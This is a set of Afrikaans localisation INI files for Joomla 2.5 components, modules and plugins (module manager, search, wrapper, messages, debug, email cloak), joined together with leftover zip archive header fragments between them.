COM_MODULES_OPTION_SELECT_CLIENT="- Kies Tipe -" COM_MODULES_OPTION_SELECT_POSITION="- Kies Posisie -" COM_MODULES_OPTION_SELECT_TYPE="- Kies tipe -" COM_MODULES_POSITION_ANALYTICS="Analitiek" COM_MODULES_POSITION_BANNER="Banier" COM_MODULES_POSITION_BOTTOM="Onder" COM_MODULES_POSITION_BREADCRUMB="Broodkrummel" COM_MODULES_POSITION_BREADCRUMBS="Broodkrummels" COM_MODULES_FIELD_NOTE_LABEL="Nota" COM_MODULES_ASSIGNED_VARIES_EXCEPT="Alles behalwe gekies" COM_MODULES_POSITION_LEFT="Skakels" COM_MODULES_MODULES_FILTER_SEARCH_DESC="Soektog in module titel." COM_MODULES_POSITION_HEADER="Kopskrif" COM_MODULES_POSITION_OFFLINE="Van lyn af" COM_MODULES_POSITION_MAINNAV="Hoof Navigasie" COM_MODULES_CUSTOM_OUTPUT="Pasgemaakte output" COM_MODULES_FIELD_CACHING_LABEL="Kasseering" COM_MODULES_MENU_ASSIGNMENT="Menu Toewysing" COM_MODULES_MODULE_ASSIGN="Module Toewysing" COM_MODULES_ERR_XML="Module XML data nie beskikbaar nie" COM_MODULES_FIELD_PUBLISH_DOWN_LABEL="Voltooi Publiseering" COM_MODULES_POSITION_LEFT2="Links 2" COM_MODULES_POSITION_NAV="Navigasie" COM_MODULES_FIELD_CLIENT_ID_LABEL="Module Plek" COM_MODULES_POSITION_DEBUG="Ontfout" COM_MODULES_FIELD_AUTOMATIC_TITLE_LABEL="Outomatiese titel" COM_MODULES_FIELD_CACHING_LABEL="Kasseering" COM_MODULES_MENU_ASSIGNMENT="Menu Toewysing" COM_MODULES_MODULE_ASSIGN="Module Toewysing" COM_MODULES_ERROR_INVALID_EXTENSION="Ongeldige module" COM_MODULES_ADVANCED_FIELDSET_LABEL="Gevorderde Opsies" COM_MODULES_FIELD_PUBLISH_UP_LABEL="Begin Publiseer" COM_MODULES="Module Bestuurder" COM_MODULES_HEADING_MODULE="Tipe" COM_MODULES_HEADING_PAGES="Bladsye" COM_MODULES_ASSIGNED_VARIES_ONLY="Slegs gekies" COM_MODULES_OPTION_SELECT_MODULE="- Kies Tipe -" COM_MODULES_POSITION_FOOTER="Vootskrif" COM_MODULES_POSITION_SYNDICATE="Sindikeer" COM_MODULES_N_ITEMS_PUBLISHED="%d modules suksesvol gepubliseer" COM_MODULES_N_ITEMS_UNPUBLISHED="%d modules suksesvol ontpubliseer" COM_MODULES_MANAGER_MODULE="Module Bestuurder: Module %s" COM_MODULES_FILTER_SEARCH_DESC="Filtreer volgens posisie naam." COM_MODULES_MANAGER_MODULES="Module Bestuurder: Modules" COM_MODULES_ERROR_CANNOT_FIND_MODULE="Kan nie module vind nie" COM_MODULES_ERROR_CANNOT_GET_MODULE="Kan nie module kry nie" COM_MODULES_TYPE_CHOOSE="Kies a Module Type:" COM_MODULES_FIELD_CACHE_TIME_DESC="Die tyd voordat die module her-kas word" COM_MODULES_FIELD_CACHING_DESC="Kies of jy die inhoud van hierdie module wil kasseer" COM_MODULES_FIELD_MODULECLASS_SFX_LABEL="Module-klas Suffix" COM_MODULES_XML_DESCRIPTION="Komponent vir module-bestuur in agterend" COM_MODULES_FIELD_AUTOMATIC_TITLE_DESC="Stel na 'Ja' as jy 'n outomaties-vertaalde titel wil h&ecicrc;. Die gebruik hiervan hang van die administrateur templet af." COM_MODULES_FIELD_PUBLISH_DOWN_DESC="'n Optionele datum waanneer die publiseering van die module beeindig word." COM_MODULES_FIELD_PUBLISH_UP_DESC="'n Optionele datum waanneer die publiseering van die module begin word." COM_MODULES_FIELD_NOTE_DESC="'n Optionele nota om in die module-lys te vertoon." COM_MODULES_FIELD_PUBLISHED_DESC="Indien gepubliseer, sal hierdie module op jou werf-frontend of -agterkant vertoon word, afhangende van die module." COM_MODULES_FIELD_SHOWTITLE_DESC="Vertoon/Versteek module titel. Effek hang af van die Chrome-styl in die templet." JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie en alle afstammelings-kategorië toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die Ouer kategorie gebruik sal word as daar 'n Ouer kategorie, of as daar nie 'n Ouer kategorie is nie, die komponent s'n gebruik sal word.
              Gewyer beteken dat ongeag wat die globale konfigurasie of Ouer kategorie instelling is, die groep wat geredigeer word nie hierdie aksie binne-in die komponent sal toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie binne-in die komponent sal toepas (maar as dit in konflik met die Ouer-kategorie of Komponent instelling is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." COM_MODULES_BATCH_POSITION_LABEL="Stel Posisie" COM_MODULES_BATCH_POSITION_NOCHANGE="Behou oorspronklike posisie" COM_MODULES_BATCH_POSITION_NOPOSITION="Geen Module posisie nie" COM_MODULES_EXTENSION_PUBLISHED_DISABLED="Module gesper en gepubliseer" COM_MODULES_EXTENSION_PUBLISHED_ENABLED="Module ontsper en gepubliseer" COM_MODULES_EXTENSION_UNPUBLISHED_DISABLED="Module gesper en ontpubliseer" COM_MODULES_EXTENSION_UNPUBLISHED_ENABLED="Module ontsper en ontpubliseer" COM_MODULES_BATCH_OPTIONS="Bondelverwerk die gekose modules" COM_MODULES_HTML_PUBLISH_DISABLED="Publiseer module::Extension gesper" COM_MODULES_HTML_PUBLISH_ENABLED="Publiseer module::Extension ontsper" COM_MODULES_HTML_UNPUBLISH_DISABLED="Ont-Publiseer module::Extension gesper" COM_MODULES_HTML_UNPUBLISH_ENABLED="Ont-Publiseer module::Extension ontsper" COM_MODULES_FIELD_CLIENT_ID_DESC="Die plaasing van die module, frontent of agterent. Jy kan nie hierdie waarde wysig nie." COM_MODULES_MSG_MANAGE_NO_MODULES="Daar is geen modules geïnstalleer wat met jou navraag ooreenstem nie" ; Moet nog vertaal word.. COM_MODULES_BATCH_TIP="If choosing to copy a module, any other actions selected will be applied to the copied module. Otherwise, all actions are applied to the selected module. When copying and not changing position, it is nevertheless necessary to select 'Keep Original Position' in the dropdown" COM_MODULES_FIELD_MODULECLASS_SFX_DESC="A suffix to be applied to the CSS class of the module. This allows for individual module styling." COM_MODULES_FIELD_POSITION_DESC="You may select a module position from the modal display of pre-defined positions where you can filter by type and template, or enter your own module position by typing the name in the field and Save." PK@y>\2kE@@2language/af-ZA/af-ZA.plg_search_categories.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_search_categories.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SEARCH_CATEGORIES_XML_DESCRIPTION="Ontsper deursoek van Kategorie inligting" PLG_SEARCH_CATEGORIES="Soektog - Kategorië" PK@y>\"3language/af-ZA/af-ZA.plg_content_loadmodule.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_content_loadmodule.sys.ini 1703 2012-02-03 11:27:44Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_CONTENT_LOADMODULE="Inhoud - Laai Modules" PLG_LOADMODULE_XML_DESCRIPTION="Stel Module posisie binnein inhoud self. Sintaks: {loadposition user1}. Om Modules volgens naam te stel, gebruik die sintaks: {loadmodule mod_login}. Jy kan ook die module styl en module titel stel." PK@y>\# 4 4 $language/af-ZA/af-ZA.mod_popular.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.mod_popular.ini 1698 2012-01-22 21:50:53Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_POPULAR="mod_popular" MOD_POPULAR_FIELD_AUTHORS_DESC="'n Filter vir die Outeurs" MOD_POPULAR_FIELD_AUTHORS_LABEL="Outeurs" MOD_POPULAR_FIELD_CATEGORY_DESC="Kies Artikels uit 'n spesifieke Kategorie of 'n stel van Kategorië." MOD_POPULAR_FIELD_COUNT_DESC="Die aantal items om te vertoon (verstek is 5)" MOD_POPULAR_FIELD_COUNT_LABEL="Aantal" MOD_POPULAR_ITEMS="Populêre Items" MOD_POPULAR_TITLE_1="Top Populêre Artikel" MOD_POPULAR_TITLE_BY_ME_1="Top Populêre Artikel deur my" MOD_POPULAR_TITLE_BY_ME_MORE="Top %1 Populêre Artikels deur my" MOD_POPULAR_TITLE_BY_ME="Top Populêre Artikels deur my" MOD_POPULAR_TITLE_CATEGORY_1="Top Populêre Artikel (%2 kategorie)" MOD_POPULAR_TITLE_CATEGORY_BY_ME_1="Top Populêre Artikel deur my (%2 kategorie)" MOD_POPULAR_TITLE_CATEGORY_BY_ME_MORE="Top %1 Populêre Artikels deur my (%2 kategorie)" MOD_POPULAR_TITLE_CATEGORY_BY_ME="Top Populêre Artikels deur my (%2 kategorie)" MOD_POPULAR_TITLE_CATEGORY_MORE="Top %1 Populêre Artikels (%2 kategorie)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME_1="Top Populêre Artikel nie deur my nie (%2 kategorie)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME_MORE="Top %1 Populêre Artikels nie deur my nie (%2 kategorie)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME="Top Populêre Artikels nie deur my nie (%2 kategorie)" MOD_POPULAR_TITLE_CATEGORY="Top Populêre Artikels (%2 kategorie)" MOD_POPULAR_TITLE_MORE="Top %1 Populêre Artikels" MOD_POPULAR_TITLE_NOT_ME_1="Top Populêre Artikel nie deur my nie" MOD_POPULAR_TITLE_NOT_ME_MORE="Top %1 Populêre Artikels nie deur my nie" MOD_POPULAR_TITLE_NOT_ME="Top Populêre Artikels nie deur my nie" MOD_POPULAR_TITLE="Populêre Artikels" MOD_POPULAR_FIELD_VALUE_ANYONE="Enigiemand" MOD_POPULAR_UNEXISTING="Bestaan nie" MOD_POPULAR_NO_MATCHING_RESULTS="Geen Ooreenstemmende Resultate nie" MOD_POPULAR_CREATED="Geskep" MOD_POPULAR_FIELD_VALUE_ADDED_OR_MODIFIED_BY_ME="Bygevoeg of gewysig deur my" MOD_POPULAR_FIELD_VALUE_NOT_ADDED_OR_MODIFIED_BY_ME="Nie deur my Bygevoeg of gewysig nie" MOD_POPULAR_XML_DESCRIPTION="Hierdie Module vertoon 'n lys van die tans-gepubliseerde Artikels met die hoogste aantal trefslae." PK@y>\H7  $language/af-ZA/af-ZA.com_wrapper.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_wrapper.ini 1739 2012-03-12 16:33:17Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_WRAPPER="Omhulsel" COM_WRAPPER_FIELD_URL_LABEL="URL" COM_WRAPPER_FIELD_SCROLLBARS_LABEL="Rolstaaf" COM_WRAPPER_FIELD_VALUE_AUTO="Outo" COM_WRAPPER_FIELD_HEIGHT_LABEL="Hoogte" COM_WRAPPER_FIELD_HEIGHT_DESC="Hoogte van die IFrame venster in pixels" COM_WRAPPER_FIELD_VALUE_AUTO="Outo" COM_WRAPPER_FIELD_HEIGHT_LABEL="Hoogte" COM_WRAPPER_FIELD_HEIGHTAUTO_LABEL="Auto hoogte" COM_WRAPPER_FIELD_ADD_LABEL="Outo byvoeg" COM_WRAPPER_FIELD_HEIGHT_DESC="Hoogte van die IFrame venster in piksels" COM_WRAPPER_XML_DESCRIPTION="Vertoon 'n IFrame wat as 'n omhulsel dien om 'n eksterne webblad of webwerf t.o.v. Joomla!" COM_WRAPPER_FIELD_LABEL_SCROLLBARSPARAMS="Rolstaaf parameters" COM_WRAPPER_FIELD_SCROLLBARS_DESC="Vertoon/Versteek die horisontale & vertikale rolstawe. Indien jy 'Outo' kies, maak seker dat die Outo gevorderde parameter gestel is." COM_WRAPPER_FIELD_ADD_DESC="Per verstek, sal http:// aangevoeg word, behalwe as daar reeds http:// of https:// in die bronadres (URL) is. Hier kan jy die funksie afskakel." COM_WRAPPER_FIELD_URL_DESC="URL na die werf/lêer wat jy binne-in die iframe wil vertoon." COM_WRAPPER_FIELD_WIDTH_DESC="Breedte van die iframe venster. Jy mag 'n absolute aantal piksels of 'n relatiewe aantal in % intik." COM_WRAPPER_FIELD_HEIGHTAUTO_DESC="Indien die hoogte na outo gestel is, sal die hoogte aotomatoes gestel word volgens die grootte van die eksterne bladsy. Dit sal sleg vir bladsye in jou domain werk. As jy 'n JavaScript-fout sien, maak seker dat hierdie parameter gesper is. Dit sal XHTML-versoenbaarheid op hierdie bladsy breek." COM_WRAPPER_FIELD_FRAME_DESC="Vertoon raam rand wat die iframe omhul" COM_WRAPPER_FIELD_FRAME_LABEL="Raam rand" PK@y>\ &language/af-ZA/af-ZA.tpl_bluestork.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.tpl_bluestork.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word TPL_BLUESTORK_FIELD_TEXTBIG_LABEL="Groter Teks" TPL_BLUESTORK_HEADER="Administrasie" TPL_BLUESTORK_FIELD_SITENAME_LABEL="Vertoon Webwerf Naam" TPL_BLUESTORK_FIELD_TEXTBIG_DESC="Vergroot teks vir beter leesbaarheid" TPL_BLUESTORK_XML_DESCRIPTION="BlueStork is 'n nuwe templet vir die Joomla! 2.5 administrator akterkant." TPL_BLUESTORK_FIELD_CONTRAST_DESC="Vehoër die kontras vir better leesbaarheid" TPL_BLUESTORK_FIELD_CONTRAST_LABEL="Hoë Kontras" TPL_BLUESTORK_FIELD_SITENAME_DESC="Vertoon die werf naam in plaas van die generiese 'Administrasie' in die templet hoofskrif." PK@y>\ނD+language/af-ZA/af-ZA.plg_search_content.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_search_content.ini 1700 2012-01-25 18:33:43Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SEARCH_CONTENT="Soektog - Inhoud" PLG_SEARCH_CONTENT="Soektog - Inhoud" PLG_SEARCH_CONTENT_FIELD_SEARCHLIMIT_LABEL="Soektog Limiet" PLG_SEARCH_CONTENT_FIELD_ARCHIVED_LABEL="Geargiefeerde Artikels" PLG_SEARCH_CONTENT_FIELD_CONTENT_DESC="Ontsper deursoek van alle Artikels" PLG_SEARCH_CONTENT_FIELD_CONTENT_LABEL="Artikels" PLG_SEARCH_CONTENT_XML_DESCRIPTION="Ontsper soektog deur Artikels" PLG_SEARCH_CONTENT_FIELD_SEARCHLIMIT_DESC="Aantal soektog item om terug te besorg" PLG_SEARCH_CONTENT_FIELD_ARCHIVED_DESC="Soek deur Argiveerde Artikels?" PK@y>\"}.~~%language/af-ZA/af-ZA.com_messages.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_messages.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_MESSAGES_FIELD_SUBJECT_LABEL="Onderwerp" COM_MESSAGES_FIELD_USER_ID_FROM_LABEL="Van" COM_MESSAGES_N_ITEMS_TRASHED_1="Boodskap suksesvol gepurgeer" COM_MESSAGES_N_ITEMS_TRASHED="%d Boodskappe suksesvol gepurgeer" COM_MESSAGES_N_ITEMS_DELETED_1="Boodskap suksesvol geskrap" COM_MESSAGES_N_ITEMS_DELETED="%d boodskappe suksesvol geskrap" COM_MESSAGES_NO_ITEM_SELECTED="Geen boodskappe gekies nie" COM_MESSAGES_FIELD_AUTO_PURGE_DESC="Outomatiese purgeer van private boodskappe na 'n gegewe aantal dae." COM_MESSAGES_FIELD_AUTO_PURGE_LABEL="Outo-purgeer Boodskappe (dae)" COM_MESSAGES_FIELD_DATE_TIME_LABEL="Gepos" COM_MESSAGES_FIELD_LOCK_DESC="Sluit jou private boodskap Inmandjie." COM_MESSAGES_FIELD_LOCK_LABEL="Sluit Inmandjie" COM_MESSAGES_FIELD_MESSAGE_LABEL="Boodskap" COM_MESSAGES_HEADING_SUBJECT="Onderwerp" COM_MESSAGES_MY_SETTINGS="My Instellings" COM_MESSAGES_TOOLBAR_SEND="Stuur" COM_MESSAGES_ERROR_INVALID_SUBJECT="Ongeldige onderwerp" COM_MESSAGES_WRITE_PRIVATE_MESSAGE="Skryf Private Boodskap" COM_MESSAGES_FIELD_MESSAGE_DESC="Jy moet 'n boodskap intik." COM_MESSAGES_RE="Betref:" COM_MESSAGES="Boodskappe" COM_MESSAGES_ERR_INVALID_USER="Ongeldige gebruiker" COM_MESSAGES_INVALID_REPLY_ID="Ongeldige ontvanger" COM_MESSAGES_FIELD_USER_ID_TO_LABEL="Ontvanger" COM_MESSAGES_TOOLBAR_MY_SETTINGS="My Instellings" COM_MESSAGES_ERROR_INVALID_FROM_USER="Ongeldige sender" COM_MESSAGES_TOOLBAR_MY_SETTINGS="My Instellings" COM_MESSAGES_ERR_INVALID_USER="Ongeldige gebruiker" COM_MESSAGES_INVALID_REPLY_ID="Ongeldige ontvanger" COM_MESSAGES_CONFIG_SAVED="Konfigurasie suksesvol gestoor" COM_MESSAGES_FIELD_MAIL_ON_NEW_LABEL="E-pos Nuwe Boodskappe" COM_MESSAGES_N_ITEMS_PUBLISHED_1="Boodskap suksesvol gemerk as gelees" COM_MESSAGES_FIELD_USER_ID_TO_LABEL="Ontvanger" COM_MESSAGES_CONFIGURATION="Boodskappe Konfigurasie" COM_MESSAGES_N_ITEMS_PUBLISHED="%d boodskappe suksesvol gemerk as gelees" COM_MESSAGES_ERROR_INVALID_TO_USER="Ongeldige ontvanger" COM_MESSAGES_READ_PRIVATE_MESSAGE="Lees Private Boodskap" COM_MESSAGES_FIELD_SUBJECT_DESC="Jy moet 'n onderwerp intik." COM_MESSAGES_ERROR_INVALID_MESSAGE="Ongeldige boodskap inhoud" COM_MESSAGES_N_ITEMS_UNPUBLISHED_1="Boodskap suksesvol gemerk as ongelees" COM_MESSAGES_MANAGER_MESSAGES="Private Boodskap-Bestuurder: Boodskappe" COM_MESSAGES_SEARCH_IN_SUBJECT="Soek deur boodskap onderwerp of beskrywing " COM_MESSAGES_N_ITEMS_UNPUBLISHED="%d boodskappe suksesvol gemerk as ongelees" COM_MESSAGES_VIEW_PRIVATE_MESSAGE="Private Boodskappe Bestuurder: Besigtig Boodskap" COM_MESSAGES_XML_DESCRIPTION="Komponent vir privaate boodskap ondersteuning in akterkant" COM_MESSAGES_ERR_SEND_FAILED="Die gebruiker het sy posbus gesluit. Boodskap het gefaal." COM_MESSAGES_PLEASE_LOGIN="Teken asseblief in na %s om jou boodskap te lees." COM_MESSAGES_HEADING_FROM="Van" COM_MESSAGES_HEADING_READ="Lees" COM_MESSAGES_MARK_AS_READ="Merk as Gelees" COM_MESSAGES_MARK_AS_UNREAD="Merk as Ongelees" COM_MESSAGES_OPTION_READ="Lees" COM_MESSAGES_OPTION_UNREAD="On-Lees" COM_MESSAGES_TOOLBAR_REPLY="Antwoord" COM_MESSAGES_NEW_MESSAGE_ARRIVED="'n Nuwe private boodskap het van %s aangekom" JLIB_APPLICATION_SAVE_SUCCESS="Boodskap suksesvol gestoor." COM_MESSAGES_FIELD_MAIL_ON_NEW_DESC="Stuur vir my 'n e-pos wanneer 'n nuwe private boodskap aankom." COM_MESSAGES_TOOLBAR_MARK_AS_READ="Merk as Gelees" COM_MESSAGES_FIELD_USER_ID_TO_DESC="Jy moet 'n ontvanger kies." COM_MESSAGES_TOOLBAR_MARK_AS_UNREAD="Merk as Ongelees" COM_MESSAGES_READ="Boodskappe" COM_MESSAGES_ADD="Nuwe Private Boodskappe" JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie komponent toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die globale konfigurasie en die Ouer groep gebruik sal word.
              Gewyer beteken dat ongeag van die globale konfigurasie of Ouer groep instellings, die groep wat geredigeer word nie hierdie aksie op die komponent kan toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie komponent sal toepas (maar as dit in konflik met die globale konfigurasie of Ouer groep is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." PK@y>\N2 )language/af-ZA/af-ZA.plg_system_debug.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_system_debug.ini 1781 2012-06-15 11:02:00Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_DEBUG_SELECT_QUERIES="SELECT Tabelle:" PLG_DEBUG_UNKNOWN_FILE="Onbekende lêer" PLG_DEBUG_PROFILE_INFORMATION="Profiel Inligting" PLG_DEBUG_OTHER_QUERIES="Ander Tabelle:" PLG_SYSTEM_DEBUG="Stelsel - Ontfout" PLG_DEBUG_MEMORY_USAGE="Memory Gebruik" PLG_DEBUG_FIELD_LANGUAGE_FILES_LABEL="Vertoon Taal Lêers" PLG_DEBUG_UNTRANSLATED_STRINGS="Onvertaalde Stringe" PLG_DEBUG_QUERY_TYPE_AND_OCCURRENCES="%2 × %1" PLG_DEBUG_LANGUAGE_FILES_LOADED="Taal Lêers gelaai" PLG_DEBUG_OTHER_QUERIES="Ander Tabelle:" PLG_DEBUG_QUERIES_LOGGED="%d Navrae Gestaaf" PLG_DEBUG_FIELD_QUERIES_LABEL="Vertoon Navrae" PLG_DEBUG_LANGUAGE_FIELDSET_LABEL="Taal Opsies" PLG_DEBUG_FIELD_MEMORY_LABEL="Vertoon Geheue Gebruik" PLG_DEBUG_FIELD_PROFILING_LABEL="Vertoon Profiel" PLG_DEBUG_FIELD_STRIP_SUFFIX_LABEL="Stroop Van Einde" PLG_DEBUG_FIELD_STRIP_FIRST_LABEL="Stroop Eerste Woord" PLG_DEBUG_FIELD_STRIP_PREFIX_LABEL="Stroop Van Begin" PLG_DEBUG_FIELD_LANGUAGE_STRING_LABEL="Vertoon Taal String" PLG_DEBUG_FIELD_ALLOWED_GROUPS_LABEL="Laat Groepe Toe" PLG_DEBUG_ERRORS="Foute" PLG_DEBUG_FIELD_QUERY_TYPES_LABEL="Vertoon Navraag Tipes" PLG_DEBUG_LANGUAGE_FILES_IN_ERROR="Parseerings-foute in Taal Lêërs" PLG_DEBUG_FIELD_LANGUAGE_ERRORFILES_LABEL="Vertoon foute wanneer taal lêërs parseer word" PLG_DEBUG_FIELD_LANGUAGE_STRING_DESC="Vertoon 'n lys van die onvertaalde taal stringe." PLG_DEBUG_FIELD_MEMORY_DESC="Vertoon die totale geheue verbruik." PLG_DEBUG_FIELD_LANGUAGE_FILES_DESC="Vertoon 'n lys van die taal lêërs wat Joomla! probeer laai het." PLG_DEBUG_LOGGING_FIELDSET_LABEL="Stawing" PLG_DEBUG_FIELD_LOG_DEPRECATED_LABEL="Staaf volgens verouderde API" PLG_DEBUG_SESSION="Sessie" PLG_DEBUG_TITLE="Joomla! Ontfout Konsole" PLG_DEBUG_QUERIES="Databasis Navrae" PLG_DEBUG_LANG_NOT_LOADED="Nie Gelaai nie" PLG_DEBUG_LANG_LOADED="Gelaai" PLG_DEBUG_XML_DESCRIPTION="Hierdie inprop-program verskaf 'n verskeidenheid van stelselinligting en ook hulp met die skepping van vertalings-lêers." PLG_DEBUG_FIELD_STRIP_SUFFIX_DESC="Stroop woorde van die einde van die string. Vir veelvoudige woorde, gebruik die formaat: (woord1|woord2)" PLG_DEBUG_FIELD_STRIP_PREFIX_DESC="Stroop woorde van die begin van die string. Vir veelvoudige woorde, gebruik die formaat: (woord1|woord2)" PLG_DEBUG_FIELD_STRIP_FIRST_DESC="In veelvoudige woord-stringe, stroop altyd die eerste woord." PLG_DEBUG_FIELD_LANGUAGE_ERRORFILES_DESC="Vertoon 'n lys van foutiewe taal-lêers." PLG_DEBUG_QUERY_TYPES_LOGGED="%d Navraag Tipes gestaaf, Gesorteer volgens aantal voorvalle." PLG_DEBUG_FIELD_ALLOWED_GROUPS_DESC="Optioneel beperk gebruikers wat ontfout-inligting kan sien na dié in die gekose gebruiker-groepe. Indien geen gekies is nie, sal alle gebruikers die ontfout-inligting sien." PLG_DEBUG_FIELD_QUERY_TYPES_DESC="Vertoon 'n lys van unike navraag-tipes en die aantal voorvalle vir die huidige bladsy. Nuttig om uit te vind omtrent die oortollige, herhaalde navrae wat in 'n meer doeltreffende navraag gegroepeer kan word." PLG_DEBUG_FIELD_QUERIES_DESC="Vertoon 'n lys van Navrae wat van hierdie bladsy af uitgevoer is." PLG_DEBUG_FIELD_PROFILING_DESC="Vertoon die profiel-wegpunte." PLG_DEBUG_FIELD_LOG_DEPRECATED_DESC="Indien ontsper, sal die API wat as verouder gemerk is gestaaf word. Gebruik hierdie instelling vir slegs vir kort periodes vir herfaktoreer-doeleindes." PK@y>\/c/language/af-ZA/af-ZA.plg_content_emailcloak.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_content_emailcloak.ini 1705 2012-02-04 16:29:20Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_CONTENT_EMAILCLOAK_MODE_LABEL="Modus" PLG_CONTENT_EMAILCLOAK_NONLINKABLE="On-skakelbare Teks" PLG_CONTENT_EMAILCLOAK="Inhoud - E-pos Verhulling" PLG_CONTENT_EMAILCLOAK_MODE_DESC="Kies hoe e-posse vertoon moet word" PLG_CONTENT_EMAILCLOAK_LINKABLE="As skakelbare mailto-adres" PLG_CONTENT_EMAILCLOAK_XML_DESCRIPTION="Verskuil alle e-posse in die inhoud van spambotte d.m.v. JavaScript" PK@y>\ׄO  #language/af-ZA/af-ZA.com_search.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_search.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_SEARCH="Soektog" COM_SEARCH_HEADING_RESULTS="Results" COM_SEARCH_SHOW_SEARCH_RESULTS="Vertoon Soektog Resultate" COM_SEARCH_CONFIG_FIELD_CREATED_DATE_LABEL="Skeppings-Datum" COM_SEARCH_NO_RESULTS="Af" COM_SEARCH_HEADING_PHRASE="Soektog Frase" COM_SEARCH_SEARCH_IN_PHRASE="Deursoek sin-snede" COM_SEARCH_HIDE_SEARCH_RESULTS="Versteek Soektog Resultate" COM_SEARCH_SEARCH_IN_PHRASE="Soek in frase." COM_SEARCH_CONFIGURATION="Soektog Bestuurder Opsies" COM_SEARCH_HEADING_PHRASE="Soektog Frase" COM_SEARCH_CONFIG_FIELD_CREATED_DATE_DESC="Vertoon die item se skeppings-datum" COM_SEARCH_MANAGER_SEARCHES="Soektog Bestuurder: Soektog Term Analiese" COM_SEARCH_XML_DESCRIPTION="Komponent vir soektog funksies" COM_SEARCH_FIELD_SEARCH_AREAS_LABEL="Gebruik Soektog Areas" COM_SEARCH_LOGGING_DISABLED="Opsamel van statistieke gesper" COM_SEARCH_LOGGING_ENABLED="Opsamel van statistieke ontsper" COM_SEARCH_FIELD_SEARCH_AREAS_DESC="Vertoon die soekstog areas merkblokkiees" COM_SEARCH_CONFIG_GATHER_SEARCH_STATISTICS_LABEL="Versamel Soektog-Statistieke" COM_SEARCH_ALL_WORDS="Alle woorde" COM_SEARCH_ANY_WORDS="Enige woorde" 